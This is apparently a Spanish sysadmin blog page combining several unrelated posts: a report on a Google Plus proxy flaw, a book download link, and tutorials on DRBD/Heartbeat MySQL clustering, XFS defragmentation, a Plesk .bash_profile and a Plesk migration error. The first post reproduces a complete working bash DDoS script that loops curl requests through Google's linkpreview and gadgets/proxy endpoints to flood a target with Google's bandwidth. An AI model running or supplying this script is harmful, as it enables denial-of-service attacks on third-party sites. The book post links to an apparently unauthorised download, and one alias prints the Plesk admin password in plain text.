Fallo de seguridad en los servidores de Google Plus

Google Plus

Google Plus

Un nuevo agujero de seguridad ha sido descubierto en los servidores de Google plus que permite a los hackers hacer un ataque DDoS usando el ancho de banda de Google.

Google plus ha sido objeto de pruebas desde ya hace un tiempo y una de las personas encargadas de estas pruebas (de una empresa de seguridad italiana) ha informado de que los servidores de Google plus se pueden utilizar para hacer solicitudes DDos a otros sitios web.

La noticia original de este informe se puede ver en IHTeam un blog de seguridad propiedad de Simone Quatrini. Él demuestra cómo los usuarios pueden hacer uso del servidor de Google para actuar como un proxy y buscar el contenido de cualquier sitio web que desee. También se observa que los servidores de Google son más anónimos que los demás servidores.

Ha mencionado dos métodos, uno que utiliza / _ / sharebox / linkpreview /. Este método no expone su dirección IP para conectarse a los servidores Apache. Pero el otro método, gadgets / proxy? Parece que si que se expone la dirección IP a los servidores.

El equipo también ha publicado un script para shell de linux que permite ejecutar la vulnerabilidad. El script hace una solicitud a los servidores de Google para hacer una petición a una página web. Lo importante del tema es que se utiliza el ancho de banda de Google en lugar del atancante.

Según comenta el autor, hayo otros métodos para atacar de manera más segura, pero lógicamente no los quiere exponer en la red.

Resumiendo, se puede hacer y descargar senzilla y rápidamente cualquier tipo de archivo a través de los servidores de Google haciendo un DDoS.

Mas abajo teneis el video explicativo y el script en bash que usa en el video Simone Quatrini 😀

Fuente | IHTeam

In this example i start a thread of 1000 requests and the output bandwidth will result in 91/96Mbps (my house bandwidth is only 6Mbps). This is my server, do not start to ddos around for no reason!

+DDoS source code download:

http://www.ihteam.net/advisories/_154785695367_+ddos.sh

#!/bin/bash

#   Bug found by                        #
#       Simone 'R00T_ATI' Quatrini      #
#       Mauro 'epicfail' Gasperini      #
#       Site: http://www.ihteam.net     #

function start {
    echo "[*] Sending `echo $2` Requests..."

    for a in `seq $2`
    do
        id=$((RANDOM%3999999+3000000))
        nohup curl "https://plus.google.com/_/sharebox/linkpreview/?c=$url&t=1&_reqid=$id&rt=j" -k -A "Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0" > /dev/null 2>&1 &
        nohup curl "https://images2-focus-opensocial.googleusercontent.com/gadgets/proxy?url=$urlclear&container=focus" -k -A "Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0" > /dev/null 2>&1 &
    done

    echo "[*] Still attacking `echo $urlclear`"
    echo "[*] Sleeping for 10 Seconds"
    sleep 10
    start url $2 urlclear
}

echo ''
echo '             88888888ba,    88888888ba,                  ad88888ba  '
echo '    aa      88      `"8b   88      `"8b                d8"     "8b  '
echo '    88      88        `8b  88        `8b               Y8,          '
echo 'aaaa88aaaa  88         88  88         88   ,adPPYba,   `Y8aaaaa,    '
echo '""""88""""  88         88  88         88  a8"     "8a    `"""""8b,  '
echo '    88      88         8P  88         8P  8b       d8          `8b  '
echo '    ""      88      .a8P   88      .a8P   "8a,   ,a8"  Y8a     a8P  '
echo '            88888888Y""    88888888Y""     `"YbbdP""    "Y88888P"'
echo ''

if [ "$#" -lt 2 ]; then
    echo "Usage: $0 <big file> <Requests>"
    echo "Example: $0 http://www.site.com/very_big_file.tar.gz 1000"
    echo ""

    exit 0
fi

case $2 in
    *[!0-9]* )  echo "$2 is not numeric" && exit 1;;
esac

echo "Attack -->" $1
match1=/
repl1=%2F
match2=:
repl2=%3A
url=$1
urlclear=$1

url=${url//$match1/$repl1}
url=${url//$match2/$repl2}

echo ""
echo "[*] Loop started! CTRL+C to stop"
echo ""

start url $2 urlclear

UNIX and Linux System Administration Handbook (4th Edition)

The twentieth anniversary edition of the world’s best-selling UNIX system administration book has been made even more invaluable by adding coverage of the leading Linux distributions: Ubuntu, RHEL, and openSUSE. System administrators looking to efficiently solve technical problems and maximize reliability and performance in production environments can now turn to UNIX® and Linux® System Administration Handbook, Fourth Edition, which has been systematically updated to reflect today’s most important enterprise Linux and UNIX distributions and most valuable administrative tools.

Drawing on decades of experience, the authors share clear, well-founded advice on constructing robust, production-grade systems and networks that can be easily maintained, monitored, and controlled. You’ll find detailed, up-to-date best practices advice and important new coverage of virtualization, cloud computing, security management, web load balancing and scalability, LDAP/Active Directory integration, modern web scripting languages, Spacewalk, DTrace, eco-friendly IT management, and much more. It reflects the latest versions of all these distributions:

Red Hat® Enterprise Linux®
Ubuntu Linux
openSUSE
Oracle Solaris
OpenSolaris
AIX
HP-UX

Sharing war stories and hard-won insights, the authors capture the behavior of UNIX and Linux systems in the real world, not just in ideal environments. They explain complex tasks in detail, with illustrations from actual production environments, and provide brand-new “Top 20 lists” of system administration rules, power-saving tips, and more.

UNIX-and-Linux-System-Administration-Handbook
UNIX-and-Linux-System-Administration-Handbook

Download
http://hotfile.com/dl/60820571/970ddb7/unix.system.admin.didrapost.com.rar.html

Cluster Mysql con CentOS, DRBD y Heartbeat

Heartbeat (High Availability)Distributed Replicated Block Device

CentOS + DRBD + HeartBeat + MYSQL DRBD (Distributed Replicated Block Device), es un sistema para almacenamiento distribuido usado en Linux para realizar replicaciones de sistemas de archivos por bloques. Este paquete consiste en un modulo del Kernel drbd-kmod, y scripts que permiten que se puedan realizar replicaciones muy similares a un RAID 1, en red. DRBD se suele usa acompañado de herramientas de High Availability (HA), como Heartbeat, para lograr servidores de alta disponibilidad.

Paquetes Necesarios

En el siguiente ejemplo utilizaremos como base un sistema 32 bits, para lo cual necesitaremos instalar por Yum, o por RPM los siguientes paquetes.
• drbd.i386
• kmod-drbd.i686
• MySQL-server <– Aplica a nuestro caso se puede usar cualquier otro servicio.
• Heartbeat*
• Gnutls*
• Ipvsadm*

Para ejecutar el modulo de drbd en el kernel debemos ejecutar lo siguiente:

• modprobe drbd

Instalación del Sistema Operativo CentOS.
El sistema operativo lo instalaremos como una instalación normal, con las particiones que deseemos para el, con la única diferencia que dejaremos un espacio sin particionar para ser usado por DRBD, en esta partición almacenaremos en el futuro las aplicaciones que deseemos administrar con DRBD, por ejemplo, si deseamos como es nuestro caso que DRBD mantenga actualizado nuestro MySQL, debemos asegurarnos que TODA la data del MySQL se este almacenando en el volumen lógico del DRBD.

Preparación de la partición de DRBD

Para particionar el volumen que hemos dedicado a nuestro DRBD, será necesario crear un volumen físico, luego agruparlo y por último crear el volumen lógico, de la siguiente forma.
• Pvcreate /dev/sda5 <–/dev/sda5 dependerá de la partición que nos de fdisk –l
• Vgcreate drbd /dev/sda5 <– drbd es el nombre que le daremos al grupo de volúmenes.
• Lvcreate -L1024M -n mysql-drbd drbd <– mysql-drbd es el nombre que le daremos a nuestro volumen lógico.

Configurar DRBD

Una vez hayamos preparado las particiones de DRBD en ambos servidores, es momento de proceder a realizar la configuración de DRBD, esto consiste en editar un fichero ubicado en la ruta /etc/drbd.conf, este archivo tiene características muy peculiares dependiendo de lo que deseamos realizar. En nuestro caso esta adaptado a las necesidades de MySQL, y quedaría de la siguiente forma.

# Our MySQL share
resource db {
protocol C;
handlers {pri-on-incon-degr “echo ‘!DRBD! pri on incon-degr’ | wall ; sleep 60 ; halt -f”; }
startup { wfc-timeout 0; degr-wfc-timeout 120; }
disk { on-io-error detach; } # or panic, …
syncer { rate 6M; }
on srv-nodo01-drbd {
device /dev/drbd1; #Este es el device que se crea para DRBD
disk /dev/mysql_drbd/mysql-drbd; #Este es el volumen lógico que creamos
address 10.134.16.210:7789; #ip servidor nodo01
meta-disk internal;
}
on srv-nodo02-drbd {
device /dev/drbd1;
disk /dev/mysql_drbd/mysql-drbd;
address 10.134.16.209:7789;
meta-disk internal;
}
}

Este es el contenido del archivo /etc/drbd.conf, y debe ser igual en ambos equipos por ende podemos hacer simplemente un scp o un rsync entre ambos para copiarlo.

Una vez configurado nuestros DRBD, debemos iniciar el servicio pero antes debemos crear los recursos que hemos configurado, en nuestro caso como se puede observar en el archivo el recurso se llama “db”, por tal motivo ejecutaremos el siguiente comando e iniciamos el servicio.

drbdadm create-md db

La ejecución de este comando dará las siguientes respuestas:

[root@node1 etc]# drbdadm create-md db
v08 Magic number not found
v07 Magic number not found
About to create a new drbd meta data block on /dev/sda5.
. ==&gt; This might destroy existing data! &lt;== Do you want to  proceed? [need to type 'yes' to confirm] yes Creating meta data…  initialising activity log NOT initialized bitmap (256 KB) New drbd meta  data block sucessfully created.</blockquote>
service drbd start 

Podemos ver que el servicio esta funcionando correctamente si ejecutamos lo siguiente en ambos equipos.

cat /proc/drbd
[root@node1 etc]# service drbd start

Starting DRBD resources:    [ d0 n0 ]. …… 
[root@node1  etc]# cat /proc/drbd version: 8.0.4 (api:86/proto:86) SVN Revision:  2947 build by buildsvn@c5-i386-build, 2007-07-31 19:17:18  . 0:  cs:Connected st:Secondary/Secondary ds:Inconsistent/Inconsistent C r—   .  ns:0 nr:0 dw:0 dr:0 al:0 bm:0 lo:0 pe:0 ua:0 ap:0    . resync:  used:0/31 hits:0 misses:0 starving:0 dirty:0 changed:0 act_log:  used:0/257 hits:0 misses:0 starving:0 dirty:0 changed:0
[root@node1  etc]# ssh root@node2 cat /proc/drbd   version: 8.0.4 (api:86/proto:86)  SVN Revision: 2947 build by buildsvn@c5-i386-build, 2007-07-31 19:17:18   . 0: cs:Connected st:Secondary/Secondary ds:Inconsistent/Inconsistent C  r—   . ns:0 nr:0 dw:0 dr:0 al:0 bm:0 lo:0 pe:0 ua:0 ap:0    . resync:  used:0/31 hits:0 misses:0 starving:0 dirty:0 changed:0 act_log:  used:0/257 hits:0 misses:0 starving:0 dirty:0 changed:0

En este punto si nos fijamos en los resultados del comando anterior podremos observar que ambos nodos están configurados como secundarios, y como es de suponerse necesitamos que uno de ellos al menos, sea primario. Para realizar esta tarea es necesario hacer lo siguiente.

[root@node1 etc]# drbdadm — –overwrite-data-of-peer primary db
[root@node1 etc]# watch -n 1 cat /proc/drbd

version:  8.0.4 (api:86/proto:86) SVN Revision: 2947 build by  buildsvn@c5-i386-build, 2007-07-31 19:17:18  . 0: cs:SyncTarget  st:Primary/Secondary ds:Inconsistent/Inconsistent C r—   . ns:0 nr:68608  dw:68608 dr:0 al:0 bm:4 lo:0 pe:0 ua:0 ap:0    .  [&gt;...................] sync’ed:  0.9% (8124/8191)M finish: 0:12:05  speed: 11,432 (11,432) K/sec resync: used:0/31 hits:4283 misses:5  starving:0 dirty:0 changed:5 act_log: used:0/257 hits:0 misses:0  starving:0 dirty:0 changed:0

En este punto está listo configurado y operativo el DRBD, por lo que podemos formatear nuestro volumen lógico para dejarlo preparado para recibir información, de la siguiente forma.

mkfs.ext3 /dev/drbd1 ; mkdir /db ; mount /dev/drbd1 /db

Para probar ahora que todo este funcionando como esperamos podemos crear archivos falsos en nuestra partición, e intercambiar los roles de primario y secundario para verificar que se estén sincronizando nuestros archivos, para esto podemos seguir los siguientes pasos.

[root@node1 etc]# for i in {1..5};do dd if=/dev/zero of=/db/file$i bs=1M count=100;done

Este comando creará 5 ficheros de 100 megabytes, con el nombre file 1,file 2,file 3, file 4, file 5. Después de hacer el cambio de nodos manualmente como se describe a continuación, podremos verificar que nuestros ficheros se han replicado.

[root@node1 /]# umount /db ; drbdadm secondary db
[root@node2 /]# mkdir /db ; drbdadm primary db ; mount /dev/drbd1 /db
[root@node2 /]# ls /db/ file1  file2  file3  file4  file5  lost+found

Ahora podemos realizar el proceso contrario para verificar qque si por algún motivo nuestro nodo01 falla, la información del nodo02 podrá ser replicada al nodo01 sin problemas.

[root@node2 /]# rm /db/file2 ; dd if=/dev/zero of=/db/file6 bs=100M count=2
[root@node2 /]# umount /db/ ; drbdadm secondary db
[root@node1 /]# drbdadm primary db ; mount /dev/drbd1 /db
[root@node1 /]# ls /db/ file1  file3  file4  file5  file6  lost+found

En este punto ya hemos comprobado que nuestro DRBD funciona correctamente, y por ende solo nos queda configurar la última herramienta de HA, Heartbeat, que lo haremos después de configurar MySQL con las particiones de DRBD

Configuración de MYSQL

Para configurar MySQL con las particiones de DRBD es simple en nuestro archivo /etc/my.cfg, tenemos una directiva que nos dice donde se almacena la data de MySQL, esta directiva es datadir=/var/lib/mysql en este caso el datadir apunta al directorio /var/lib/MySQL, lo que haremos ahora es simplemente mover el directorio /var/lib/MySQL, a /db y luego crearemos un enlace simbólico lo que será suficiente para que la data almacenada por MySQL se escriba en nuestro volumen lógico. Para esto debemos detener el servicio de MySQL previamente.

Nodo 01
[root@node1 /]# service mysqld stop
[root@node1 /]# mkdir /db/mysql
[root@node1 /]# chown -R mysql.mysql /db/mysql
[root@node1 /]# mv /home/mysql/data /db/mysql/data
[root@node1 /]# ln -s /db/mysql/data /home/mysql/data
Nodo 02
[root@node2 /]# service mysql stop
[root@node2 /]# mv /home/mysql/data /tmp
[root@node2 /]# ln -s /db/mysql/data /home/mysql/data

Una vez realizado esto ya estan preparados nuestros dos nodos, por lo que procederemos a iniciar Mysql en el Nodo01.

Configuración de Heartbeat

La configuración de Heartbeat consiste básicamente en 5 pasos que en su mayoría deberán ser ejecutados y realizados de forma idéntica en cada equipo.

• Editar el fichero vi /etc/sysctl.conf de la siguiente forma:

net.ipv4.ip_forward = 1

• Verificar que los servicios necesarios estén ejecutándose

chkconfig –level 2345 heartbeat on
chkconfig –del ldirectord

• Editar el fichero de heartbeat /etc/ha.d/ha.cf de la siguiente forma en AMBOS nodos:

#/etc/ha.d/ha.cf content

debugfile /var/log/ha-debug
logfile /var/log/ha-log
logfacility local0
keepalive 2
deadtime 30
warntime 10
initdead 120
udpport 694 #si hay varios heartbeat es necesario editar el Puerto
bcast eth0 # Linux
auto_failback on #(This will failback to machine1 after it comes back)
ping 10.10.150.100 #(Your gateway IP)
apiauth ipfail gid=haclient uid=hacluster
node machine1.myhost.com
node machine2.myhost.com

• Editar el fichero /etc/ha.d/haresources al igual que el ha.cf idénticos en ambos nodos.

#/etc/ha.d/haresources content
machine1.myhost.com  LVSSyncDaemonSwap::master IPaddr2::10.10.150.3/24/eth0:1 drbddisk::db  Filesystem::/dev/drbd1::/db::ext3 mysqld

• Ahora debemos editar el fichero de seguridad que nos permitirá que el heartbeat se autentifique entre el nodo01 y nodo02 únicamente, también deben ser idénticos en ambos nodos.

#/etc/ha.d/authkeys content
auth 2
2 sha1 YourSecretString

• Para evitar inconvenientes de permisología con le fichero de autenticación es necesario ejecutar el siguiente comando.

chmod 600 /etc/ha.d/authkeys

Herramientas de Diagnóstico

/etc/ha.d/resource.d/LVSSyncDaemonSwap master status

/etc/init.d/heartbeat status

/etc/init.d/mysqld status

Como defragmentar una partición XFS

Lamentablemente, no todo es color de rosa con XFS y por lo tanto, habrá que defragmentarlo. Si bien no es como defragmentar NTFS en Windows, es algo que tenemos que tener en cuenta para evitar que el sistema “se pete o casque el disco duro.” A no desilusionarse, no es nada complicado.

Quiero decir, antes que nada, que ésto es meramente una tarea de mantenimiento simple en cualquier sistema o servidor web y no es una contra importante como para no utilizar el sistema XFS. De cualquier manera, sepan que es una tarea simple y fácil de hacer.

Lo primero es tener instalado xfsdump:

  • Para instalar xfsdump en sistemas Debian usamos:
apt-get install xfsdump
yum install xfsdump

Ahora vamos a ver cuantas de nuestras particiones deben ser defragmentadas:

xfs_db -r /dev/PARTICION

se abrirá un prompt, ahí debemos escribir:

frag

Nos indicara el porcentaje de framgentación del sistema de archivos XFS. Por la red se dice que cuando alcance el 10% debe ser defragmentado. Yo he defragmentado sistemas con un 6% y tardó un poco, supongo que debe depender de las caracterísiticas del equipo.

No es algo complicado, pero recomiendo hacerlo todo modo mono-usuario (runlevel 1) (recovery mode, se selecciona al arranque.)

Ahora sí, pasamos a defragmentar (suponiendo que lo necesitamos):

xfs_fsr -v /dev/PARTICION 

Recordad que en PARTICION irá nuestra partición en cuestión: hda1, sda2, etc.
Eso es todo, nada complicado. A no preocuparse, no tarda lo mismo que Windows y depende de nuestro equipo y porcentaje de fragmentación.

.bash_profile para Sysadmins con servidores Plesk

Aqui os dejo este .bash_profile útil para sysadmins que administren servidores con Plesk.

Si quereis comentar que alias teneis en vuestro bash_profile es de agredecer, un saludo¡¡¡

Para usarlo copiar y pegar dentro del archivo .bash_profile

alias bye=”exit”
alias ns=”netstat -lpn”
alias pmysql=”cd /var/lib/mysql”
alias phttpd=”cd /var/www/vhosts”
alias tailall=”tail -f /var/www/vhosts/*/statistics/logs/error_log /var/www/vhosts/*/statistics/logs/access_log”
alias tailallerror=”tail -f /var/www/vhosts/*/statistics/logs/error_log”
alias tailallaccess=”tail -f /var/www/vhosts/*/statistics/logs/access_log”
alias maillog=”tail -f /usr/local/psa/var/log/maillog”
alias myadmin=”mysql -u admin -p`cat /etc/psa/.psa.shadow`”
alias mchk=”/usr/local/psa/admin/sbin/mchk –with-spam”
alias webpsa=”/usr/local/psa/admin/sbin/websrvmng -av”
alias ppass=”cat /etc/psa/.psa.shadow;”
alias que=”/var/qmail/bin/qmail-qstat”

echo “############################################################”
echo ” Shortcuts to your system ”
echo “############################################################”
echo
echo “To see your Plesk password, type: ppass”
echo
echo “To rebuild your Apache/Web Server configuration, type: webpsa”
echo
echo “To rebuild your Qmail/Mail Server configuration, type: mchk”
echo
echo “To see your Qmail/Mail Server queue, type: que”
echo
echo “To connect to your MySQL server as admin, type: myadmin”
echo
echo “To exit from shell, type: exit”
echo
echo “To see netstat command, type: ns”
echo
echo “To see all error/access log, type: tailall”
echo
echo “To see all error log, type: tailallerror”
echo
echo “To see email log, type: maillog”
echo
echo “To see all access log, type: tailallaccess”
echo
echo “To get rid of these messages/aliases, edit your /root/.bash_profile”
echo

Error en Plesk: Espacio insuficiente en /migration del servidor fuente de la migración

Vaya tela…. este error persiste y persiste en las versiones de Plesk …

Síntomas
La migración de un dominio Parallels Plesk Panel finaliza sin ningún error. De todas formas, el dominio no presenta ningún archivo html.

Causa

La causa de este problema es una cantidad de espacio de disco insuficiente en el directorio /migration del servidor fuente.

El Administrador de Migraciones de Parallels Plesk Panel carga el Agente de Migración al servidor fuente. El Agente de Migración es un script perl que realiza el volcado de los datos, usando /migration en el servidor fuente como directorio temporal para la migración. Si el directorio /migration ya no dispone de más espacio o se encuentra en una partición de tamaño limitado, los datos no se volcan debido a esta insuficiencia de espacio de disco.

Puede comprobar el tamaño de la partición ejecutando el comando “df -h”. Por ejemplo:

~# df -h

Filesystem Size Used Avail Use% Mounted on

/dev/sda1 950M 254M 649M 29% / <- la partición es demasiado pequeña

/dev/sda2 4.7G 1.6G 3.1G 35% /usr

/dev/sda3 100G 60G 41G 60% /var

/dev/sda4 4.7G 5.5M 4.7G 1% /home

~#

La partición “/” donde se encuentra el directorio /migration es demasiado pequeña. Tar no puede volcar los datos debido a la insuficiencia de espacio de disco.

Resolución

Le recomendamos liberar el directorio /migration en el servidor fuente. También puede transferir el directorio a una partición de mayor capacidad.

Por ejemplo, creemos el directorio de migración en otra partición que tenga espacio suficiente:

source~# mkdir /home/migration

Entonces creeamos un vínculo simbólico:

source~# rm -rf /migration

source~# ln -s /home/migration/ /migration

Y yasta amigos a migrar dominios a saco de servidor a servidor….